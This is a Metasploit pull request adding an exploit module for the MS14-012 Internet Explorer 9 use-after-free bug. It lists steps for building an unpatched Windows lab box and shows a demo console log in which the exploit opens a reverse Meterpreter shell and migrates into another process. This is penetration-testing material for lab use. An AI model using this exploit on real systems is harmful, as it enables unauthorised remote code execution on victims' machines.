rapid7/metasploit-framework — pull request #3120 by wchen-r7 (2014-03-18 23:02:40+00:00)
Title: Add MS14-012 Internet Explorer Use-After-Free Exploit Module

MS14-012 Internet Explorer Use-After-Free Exploit Module

### Verification ###

Since this vulnerability is only specific to certain builds. Please make sure that your build is vulnerable. Normally if your build is between 9.0.8112.16496 and 9.0.8112.16533 then you're probably the right setup. Office 2010 is required for the hxds dll. Anyways, here are the steps:

- [ ] Prepare a Windows 7 SP1 box (unpatched)
- [ ] Make sure you're running IE9 (unpatched)
- [ ] Make sure to disable your Windows updates ("Never check for updates")
- [ ] Make sure you have Office 2010
- [ ] Go download the vulnerable patch for IE: http://technet.microsoft.com/en-us/security/bulletin/ms14-feb
- [ ] Run the module, get a shell

Demo:

```
$ msfconsole -q
msf > use exploit/windows/browser/ms14_012_textrange
msf exploit(ms14_012_textrange) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.76:4444
[*] Using URL: http://0.0.0.0:8080/mNdLN4
[*] Local IP: http://10.0.1.76:8080/mNdLN4
[*] Server started.
msf exploit(ms14_012_textrange) > [*] 10.0.1.89 ms14_012_textrange - Gathering target information.
[*] 10.0.1.89 ms14_012_textrange - Sending response HTML.
[*] Sending stage (769024 bytes) to 10.0.1.89
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.89:49932) at 2014-03-18 17:55:10 -0500
[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.89:49932) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3440)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 588
[+] Successfully migrated to process
```